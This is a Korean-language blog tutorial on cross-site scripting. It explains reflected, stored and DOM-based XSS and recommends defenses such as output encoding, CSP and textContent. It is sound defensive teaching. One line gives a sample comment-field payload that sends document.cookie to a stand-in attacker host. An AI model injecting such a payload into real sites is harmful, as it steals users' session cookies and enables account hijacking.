인터넷 서비스를 개발하거나 운영하는 사람이라면, 반드시 알아야 할 대표적인 웹 취약점 중 하나가 바로 XSS(Cross-Site Scripting, 교차 사이트 스크립팅)이다.
XSS는 사용자에게 직접적인 피해를 줄 수 있는 공격이자, 서비스 신뢰도에도 영향을 주는 심각한 보안 이슈다.
\XSS는 웹 애플리케이션이 사용자로부터 입력받은 데이터를 적절히 필터링하지 않고 HTML에 출력할 때 발생하는 보안 취약점이다. 공격자는 악의적인 스크립트를 삽입하여 다른 사용자의 브라우저에서 해당 스크립트가 실행되도록 만들 수 있다.
일반적으로, 영어 단어(용어)에서는 Cross를 X로 표시한다. 그래서 Cross-Site Scripting를 약자로 써서 XSS라고 불린다.
XSS 공격이 입힐 수 있는 피해를 살펴보자.
- 세션 탈취: 쿠키를 탈취하여 로그인 상태를 가로채기
- 피싱 공격: 가짜 입력창을 통해 사용자의 계정 정보를 수집
- 웹사이트 변조: UI를 조작하여 잘못된 정보 전달
- 브라우저 악성 동작 유도: 자동 다운로드, 리디렉션 등 비정상적인 행동 실행
XSS는 공격 방식에 따라 분류되는 유형을 살펴보자.
- 반사형 XSS (Reflected XSS)
- 사용자 입력값이 서버 응답에 즉시 반영되는 구조에서 발생
- URL에 스크립트를 삽입하여 피해자가 클릭하게 유도
- 저장형 XSS (Stored XSS)
- 악성 스크립트가 데이터베이스 등에 저장되어, 이후 여러 사용자에게 반복적으로 노출
- 게시판, 댓글 기능 등에서 자주 발생
- DOM 기반 XSS
- 서버 응답이 아닌 클라이언트 자바스크립트 코드에서 DOM 조작을 통해 발생
- 프론트엔드에서 동적으로 데이터를 처리할 때 주의 필요
간단한 댓글 시스템에서 입력값을 필터링하지 않은 경우 다음과 같은 스크립트가 삽입될 수 있다.
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
이 코드가 실행되면 사용자의 쿠키 정보가 공격자 서버로 전송되며, 이후 세션 하이재킹 등이 가능해진다.
XSS는 개발 단계에서 기본적인 보안 원칙만 잘 지켜도 대부분 예방할 수 있다.
다음과 같은 전략을 반드시 적용하자.
- 입력값 필터링: 사용자로부터 입력된 HTML/스크립트 태그 제거 또는 이스케이프 처리
- 출력 시 인코딩 적용: 서버에서 HTML 출력 시 &, <, > 등을 안전하게 변환
- CSP(Content Security Policy) 적용: 브라우저에서 외부 스크립트 실행을 제어
- 자바스크립트 내 템플릿 처리 주의: DOM 조작 시 innerHTML 대신 textContent 사용 권장
- 프레임워크 보안 기능 활용: React, Vue 등의 프레임워크는 기본적으로 XSS 방지를 위한 템플릿 인코딩 기능을 제공함
XSS는 단순한 코드 삽입 같아 보이지만, 그 영향력은 심각하다.
특히 사용자 정보를 다루는 웹 서비스라면 XSS로 인한 피해는 브랜드 이미지와 직결된다.
개발자라면 언제나 출력되는 모든 사용자 입력은 악성일 수 있다는 가정을 전제로 보안 처리를 해야 한다.
보안은 시스템을 견고하게 만드는 기반이며, XSS는 그 기초를 이루는 중요한 항목이다.
#XSS #웹보안 #CrossSiteScripting #저장형XSS #반사형XSS #DOMXSS #웹개발보안 #쿠키탈취 #CSP #스크립트공격
'IT 정보 > 용어' 카테고리의 다른 글
LLM(Large Language Model)이란? - 생성형 AI 시대의 핵심 기술 (2) | 2025.06.28 |
---|---|
SQL Injection이란? - 웹과 DB 보안의 기본을 지키는 첫걸음 (0) | 2025.06.25 |
개발자의 필수 도구, IDE란 무엇인가? (0) | 2025.06.24 |
방화벽(Firewall)이란? 네트워크 보안의 첫 번째 관문 (2) | 2025.06.23 |
NLP란? 자연어를 이해하는 인공지능 기술의 핵심 (0) | 2025.06.22 |